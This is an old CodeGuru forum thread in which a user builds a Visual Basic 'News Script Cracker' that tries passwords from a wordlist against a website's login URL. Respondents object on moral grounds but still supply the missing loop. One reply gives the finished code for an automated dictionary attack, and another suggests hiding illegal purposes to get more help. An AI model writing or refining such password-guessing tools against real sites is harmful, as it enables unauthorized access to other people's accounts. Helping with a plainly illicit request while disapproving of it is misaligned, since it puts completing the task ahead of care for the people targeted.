CodeGuru Home VC++ / MFC / C++ .NET / C# Visual Basic VB Forums Developer.com
Results 1 to 8 of 8
  1. #1
    Join Date
    May 2003
    Location
    Boring State
    Posts
    4

    ListBox Next Item?

    Hi, I'm new to this forum (just registered) and I am looking for some help for a program (News Script Cracker) I'm making. I have the cracker to where you load a password list, enter server/username and click on a password in the user list and hit check, and it checks if its right or not, if so it adds it to the cracked box. Here's a screenshot below to help you understand. I am looking to make this cracker automatic, but to do so I need it to loop through the text list somehow... The code is below, please try and help me

    Thanks A Lot!
    Two Forty Eight
    Http://Err.Xirgo.Net

    Screenshot : http://www.angelfire.com/alt/f50k/ss.gif

    By the way, ignore the textbox that says [ Password ], it's now set to use the listbox with passwords in it. (It used to be manual)

    Private Declare Function SendMessage Lib "User32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
    Private Declare Sub ReleaseCapture Lib "User32" ()
    Const WM_NCLBUTTONDOWN = &HA1
    Const HTCAPTION = 2

    Private Sub Command1_Click()
    Dim Try As String
    Dim TheURL As String
    TheURL = Text3 & "?go=submit&u=" & Text1 & "&p=" & List2
    Try = Inet1.OpenURL(TheURL)
    If InStr(Try, "submit news") Then
    Label1 = "Cracked!"
    List1.AddItem (Text1 & "-" & Text2)
    ElseIf InStr(Try, "copyright") Then
    Label1 = "Invalid!"
    List2.RemoveItem (sIndex)
    Else
    Label1 = "Error!"
    List2.RemoveItem (sIndex)
    End If
    End Sub

    Private Sub Read()
    Dim iFileNum As Integer
    Dim sInput As String
    Dim iCounter As Integer

    'Get a free file handle
    iFileNum = FreeFile
    Open App.Path & "\password.txt" For Input As iFileNum

    'Read entire file to string
    Line Input #iFileNum, sInput

    'assign split-up file to maArray
    maArray = Split(sInput, " ")

    Close iFileNum

    'loop threw and add to list1
    For iCounter = 0 To UBound(maArray)
    List2.AddItem maArray(iCounter)
    Next

    End Sub

    Private Sub Command2_Click()
    Read
    End Sub

    Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Dim lngReturnValue As Long
    If Button = 1 Then
    Call ReleaseCapture
    lngReturnValue = SendMessage(Me.hWnd, WM_NCLBUTTONDOWN, HTCAPTION, 0&)
    End If
    End Sub
    [ 248 ] [ AKA ] [ Shyne ]

  2. #2
    Join Date
    Jul 2002
    Location
    England
    Posts
    163
    Right. For starters, what you are doing seems more than slightly immoral to me, and I do no condone you activities in the slightest. However, try something like the following.

    ' Code Starts Here

    dim intLen as integer
    dim intCount as integer

    intLen = List1.ListCount-1

    For intCount = 0 To intLen
    msgbox List1.List(intCount)
    Next intCount

    'Code Ends Here

    I think those are the correct properties, i'm not sure, I havn't used the Listbox in a while, I tend to use the listview instead.

    PS. In future, if this is for something not quite legal, don't tell people what its for, you will probably get more responses.
    Finite

    "If a cat always lands on its feet, and a peice of bread always lands butter side down, if you strap a peice of bread butter side up to the back of a cat, will it hover?"

  3. #3
    Join Date
    May 2003
    Location
    Boring State
    Posts
    4
    Thanks for the reply. Where do I add this code in, I'm not sure?

    Edit:

    hmm I tried to add apply that to happen if the incorrect word is guessed, but it brought up message boxes with the following words in them, instead of moving down to try the next word in the list
    Last edited by TwoFortyEight; May 13th, 2003 at 12:05 PM.
    [ 248 ] [ AKA ] [ Shyne ]

  4. #4
    Join Date
    Jun 2001
    Location
    Mi
    Posts
    1,249
    In your Command1_Click event ... It will wrap around your "cracking" attempts ...

  5. #5
    Join Date
    Jul 2002
    Location
    England
    Posts
    163
    maybe i didn't make myself quite clear.

    The line that says:

    msgbox list1.list(intcount)

    should be replaced with whatever you want to do.
    The statement list1.list(intcount) will returns the each value in the listbox until the loop runs outs.
    Utilise this in your code.
    Finite

    "If a cat always lands on its feet, and a peice of bread always lands butter side down, if you strap a peice of bread butter side up to the back of a cat, will it hover?"

  6. #6
    Join Date
    May 2003
    Location
    Boring State
    Posts
    4
    I still cant get it

    Private Sub Command1_Click()
    Dim Try As String
    Dim TheURL As String
    TheURL = Text3 & "?go=submit&u=" & Text1 & "&p=" & List2
    Try = Inet1.OpenURL(TheURL)
    If InStr(Try, "submit news") Then
    Label1 = "Cracked!"
    List1.AddItem (Text1 & "-" & Text2)
    ElseIf InStr(Try, "copyright") Then
    Label1 = "Invalid!"
    List2.RemoveItem (sIndex)
    Else
    Label1 = "Error!"
    List2.RemoveItem (sIndex)
    End If
    End Sub

    I see that code is what I'm working with...
    But I can't find the proper placements
    and how to get it to try the word instead of msgbox'ing it?
    [ 248 ] [ AKA ] [ Shyne ]

  7. #7
    Join Date
    Feb 2001
    Location
    Stamford CT USA
    Posts
    2,167
    Originally posted by TwoFortyEight
    I still cant get it

    Code:
    Private Sub Command1_Click()
    Dim Try As String
    Dim TheURL As String
    
    dim itemInd as integer
    while (itemInd < List2.ListCount)
      TheURL = Text3 & "?go=submit&u=" & Text1 & "&p=" & List2.List(itemInd)
      Try = Inet1.OpenURL(TheURL)
      If InStr(Try, "submit news") Then
        Label1 = "Cracked!"
        List1.AddItem (Text1 & "-" & Text2)
        itemInd = itemInd  + 1
      ElseIf InStr(Try, "copyright") Then
        Label1 = "Invalid!"
        List2.RemoveItem (itemInd)
      Else
        Label1 = "Error!"
        List2.RemoveItem (itemInd)
      End If
    wend
    
    End Sub
    As mentioned before, whatever that you're doing is NOT something that I'd like to get involved in but nonetheless we're here to help anyone with coding problem.

    -Cool Bizs

  8. #8
    Join Date
    May 2003
    Location
    Boring State
    Posts
    4
    Thanks 2 all of you alot for the help!!
    lol... i couldn't get this at all now I see it leaves the word in the list. this is awesome thx

    btw; i can understand why you wouldn't want to help with crackers or programs of that sort sry about that.
    [ 248 ] [ AKA ] [ Shyne ]

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  





Click Here to Expand Forum to Full Width

Featured